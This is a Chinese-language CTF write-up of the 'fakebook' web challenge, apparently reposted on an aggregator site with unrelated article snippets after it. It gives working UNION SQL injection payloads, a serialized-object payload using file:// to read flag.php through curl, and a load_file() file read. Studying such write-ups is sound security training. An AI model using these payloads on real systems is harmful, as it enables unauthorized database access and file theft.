一.审题

这边先进行测试,login和join都失败了,所以没获取到什么消息。

二.dirsearch工具扫描

所以拿dirsearch扫一下,看看有没有什么文件可以访问。

python3 dirsearch.py -u url

可以看到当前目录下存在flag.php,robots.txt等,访问flag.php,发现空白,所以flag应该是注释,接下去访问一下robots.txt

三.访问可疑文件

这边显示有一个不被允许的备份文件,访问看一下什么内容。

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

这边题目想给我们的是:同过url去传,并且对于blog有格式要求,需要在末尾拼接域名。

所以从这里我们就可以知道怎么去使用join的这个功能。

四.使用网站功能,寻找渗透点

查看源代码,发现有一个url可以点击跳转。所以我们继续浏览整个网站

发现有一个get方式的传参,参数为no,所以在次进行测试,方向:sql注入,伪协议,模板注入等

这边是sql注入。

五.采用sql注入

查看是否存在sql注入

1 and 1=1

正常显示。接下去确认有几行

1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....

在order by 5时显示为错误,order by 4还是正常显示。

接下去看哪里有注入点

-1++union++select 1,2,3,4 

方法一:

发现在username下有个正常回显,所以注入点在这里

看数据库:

-1++union++select 1,database(),3,4

显示出数据库名:fakebook

接下去获取表Table:

?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

成功获取到表:users

接下去查column:

-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'

接下去看一下data:

-1++union++select 1,group_concat(data),3,4 from fakebook.users

这边看到的是一个序列化的对象。我们这边是去提取数据库fakebook中表users的第四列data的值。

这边放一个对比,第一个图是单纯数据库有的数据,第三个是我们通过反序列化去进行拼接,username显示2是因为我们的占位符,显示这边有渗透点,然后第二个是四列都去使用占位符,所以我们这边就可以使用反序列化进行,让其去读取我们想要的文件

-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

通过查看页面的源代码可以获取到flag:

这边在放两个对比,第一个是通过我们数据库里我们自己join的序列化值去显示的,因为我们join的都是不存在的所以我们这边都是空,并且这边是使用base64进行编码的。

这边讲一下,为什么第四列的渗透为什么会使用这个file:///协议,这边是通过他的哪个bak文件中,代码中使用的是curl

方法二:

因为我们在进行测试时就确定第二列具有注入点,所以我们可以利用这个去看我们的sql版本以及一些信息。如:version(),user(),database()等

如这边发现他的权限是root权限,所以我们可以使用load_file()这个数据库函数

load_file() 是 MySQL/MariaDB 中用于读取服务器本地文件的内置函数,在 SQL 注入场景中常用于获取敏感文件内容。

user()这是 MySQL/MariaDB 的内置函数,用于返回当前数据库连接的用户信息(格式通常为 用户名@主机名,如 root@localhost)。这里用它替换了第二列的占位符,目的是获取数据库用户权限信息。

所以这边就通过得到他的版本为MariaDB并且权限为root最高权限,所以可以通过load_file()函数获取该flag.php

-1++union++select 1,load_file('/var/www/html/flag.php'),3,4

看一下源代码,出结果。

这道题目,我是看了wp的,在加上自己的总结,从这边还是学到不少东西,而且感觉这题就是每一步的设计都是很巧妙,环环相扣的感觉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/93352.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/93352.shtml
英文地址,请注明出处:http://en.pswp.cn/web/93352.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI+物联网如何重塑仓储供应链?3个落地场景与系统架构设计思路

一、引言 在科技飞速发展的当下&#xff0c;AI与物联网技术的融合为仓储供应链领域带来了革新契机。这种融合不仅优化了传统运作模式&#xff0c;还催生出更智能、高效的管理方案&#xff0c;业财一体管理软件也在其中发挥着关键作用。 二、AI物联网在仓储供应链的落地场景 &am…

C++ 内存管理(内存分布 , 管理方式 , new和delete实现原理)

目录 1. C/C内存分布 练习: 2. C语言动态内存管理方式 2.1 malloc/calloc/realloc的区别 2.2 malloc的实现原理 2.3 内存块分布与扩容 3. C动态内存管理方式 3.1 new/delete操作类内置类型 1. new操作内置类型 2. delete操作内置类型 3.2 new/delete操作类自定义类型…

1.2. qemu命令起虚拟机增加网络配置

1. 网络配置 常见的网络模式分为tap网络和基础网络模式两种。 1.1. TAP网络&#xff08;桥接模式&#xff09; 虚拟机直接接入宿主机物理网络&#xff0c;获得独立IP 1.1.1. 使用tap方式起虚拟机网络-netdev tap,idhostnet0,ifnametap0 \-device virtio-net-pci,netdevhostnet0…

分享一个Oracle表空间自动扩容与清理脚本

一、基础环境准备&#xff08;首次执行&#xff09; -- 1. 创建表空间监控表&#xff08;存储使用率、容量等信息&#xff09; create table monitor_tablespace_rate (tbs_name varchar2(50), -- 表空间名total_gb number, -- 总容量(GB)used_gb number, …

Flink Sql 按分钟或日期统计数据量

一、环境版本 环境版本Flink1.17.0Kafka2.12MySQL5.7.33 【注意】Flink 1.13版本增加Cumulate Window&#xff0c;之前版本Flink Sql 没有 Trigger 功能&#xff0c;长时间的窗口不能在中途触发计算&#xff0c;输出中间结果。比如每 10S 更新一次截止到当前的pv、uv。只能用T…

LeetCode 2460.对数组执行操作

给你一个下标从 0 开始的数组 nums &#xff0c;数组大小为 n &#xff0c;且由 非负 整数组成。 你需要对数组执行 n - 1 步操作&#xff0c;其中第 i 步操作&#xff08;从 0 开始计数&#xff09;要求对 nums 中第 i 个元素执行下述指令&#xff1a; 如果 nums[i] nums[i …

深入解析 @nestjs/typeorm的 forRoot 与 forFeature

nestjs/typeorm 是 NestJS 与 TypeORM 集成的官方模块&#xff0c;提供了 forRoot() 和 forFeature() 两个核心静态方法用于配置数据库连接和实体注册。本文将深入解析这两个方法的机制、使用场景和最佳实践。 一、TypeOrmModule.forRoot() - 全局数据库配置 forRoot() 方法用于…

关于simplifyweibo_4_moods数据集的分类问题

本来打算用情感分类数据集拿Transformer模型来练练手&#xff0c;发现训练效果并不好。当我分析了这个数据集的标签后发现问题了&#xff1a; 查看标签的分布&#xff1a; import pandas as pd# 先直接读取数据&#xff0c;不进行后续处理 data_file ~/data/simplifyweibo_4_m…

Custom SRP - Baked Light

https://catlikecoding.com/unity/tutorials/custom-srp/baked-light/本篇教程介绍将静态光照烘焙到 light map 和 light prob 中.首先贴上我遇到的问题,希望遇到的同学帮忙解答:实践本教程过程中,定义的 MetaPass 没有效果, Unity 始终在使用默认的 meta pass,我使用的是 unit…

[Python]PTA:实验2-3-1-for 求1到100的和

本题要求编写程序&#xff0c;计算表达式 1 2 3 ... 100 的值。输入格式&#xff1a;本题无输入。输出格式&#xff1a;按照以下格式输出&#xff1a;sum 累加和代码如下&#xff1a;x0 for i in range(1,101,1):xi print("sum {}".format(x))

【解决笔记】MyBatis-Plus 中无 selectList 方法

MyBatis-Plus 中无 selectList 方法的解决笔记 核心前提 MyBatis-Plus 的 BaseMapper 接口内置了 selectList 等基础查询方法&#xff0c;继承该接口可直接使用&#xff0c;无需手动实现。 无 selectList 方法的两种情况及解决方式 1. 未继承 BaseMapper&#xff08;推荐方案&a…

一周学会Matplotlib3 Python 数据可视化-绘制箱线图(Box)

锋哥原创的Matplotlib3 Python数据可视化视频教程&#xff1a; 2026版 Matplotlib3 Python 数据可视化 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 课程介绍 本课程讲解利用python进行数据可视化 科研绘图-Matplotlib&#xff0c;学习Matplotlib图形参数基本设置&…

4.4 vue3生命周期函数

vue3生命周期函数生命周期钩子名称对比表阶段Vue 2 选项式 APIVue 3 组合式 API说明创建前beforeCreateonBeforeCreate&#xff08;已废弃&#xff09;Vue 3 中 setup() 替代创建完成createdsetup()&#xff08;替代&#xff09;setup 是入口&#xff0c;代替 beforeCreate 和 …

无脑整合springboot2.7+nacos2.2.3+dubbo3.2.9实现远程调用及配置中心

简介&#xff1a; 好久没有写博客了&#xff0c;最近辞职了有时间进行一次分享&#xff0c;今天我们主要是使用单体服务springboot整合nacos实现配置中心&#xff0c;然后整合dubbo来实现远程的rpc调用。如下是本地案例架构图&#xff0c;生产者和消费者的配置在nacos配置中心上…

腾讯位置商业授权微信小程序逆地址解析(坐标位置描述)

微信小程序JavaScript SDK 开发指南 逆地址解析(坐标位置描述) reverseGeocoder(options:Object) 本接口提供由坐标到坐标所在位置的文字描述的转换&#xff0c;输入坐标返回地理位置信息和附近poi列表。 注&#xff1a;坐标系采用gcj02坐标系 options属性说明 属性类型必填…

3D商品展示:技术狂欢下的普及困局

当微软推出Copilot 3D——仅需一张照片即可生成可编辑的3D模型时&#xff0c;业界曾欢呼“建模门槛彻底消失”。然而技术的美好愿景却撞上现实的铜墙铁壁&#xff1a;当前电商平台3D商品加载卡顿导致用户跳出率超60%&#xff0c;企业3D化渗透率仍不足34%。绚烂的技术烟花下&…

(Arxiv-2025)Stand-In:一种轻量化、即插即用的身份控制方法用于视频生成

Stand-In&#xff1a;一种轻量化、即插即用的身份控制方法用于视频生成 paper是WeChat发布在Arxiv 2025的工作 paper title:Stand-In: A Lightweight and Plug-and-Play Identity Control for Video Generation Code&#xff1a;链接 图1&#xff1a;给定一张参考图像&#xff…

数据科学与爬虫技术学习笔记

数据科学与爬虫技术学习笔记 一、数据科学基础库 1. NumPy&#xff1a;数值计算的基石 NumPy 是 Python 科学计算的核心库&#xff0c;专为数组和矩阵操作设计&#xff0c;能大幅简化循环操作&#xff0c;提供丰富的数学函数。 核心优势&#xff1a;高效处理同类型元素的多维…

学习嵌入式之硬件——I2C

一、I2C1.定义内部集成电路的简称&#xff0c;半双工串行同步通信&#xff0c;是芯片和芯片之间的通信方式&#xff1b;通常只有一个主机&#xff0c;多个从机&#xff0c;采用主从应答的方式上图所示是IIC的总线的使用场景&#xff0c;所有挂载在IIC总线上的设备都有两根信号线…

使用websockt

封装websocktHooksimport { ref, onMounted, onUnmounted } from vue;/*** webSocket的Hooks* param {string} websocket链接地址* */ export function useWebSocket(url: string) {// 核心状态 const data: Ref<any> ref(null);//收到websocket返回的数据const socke…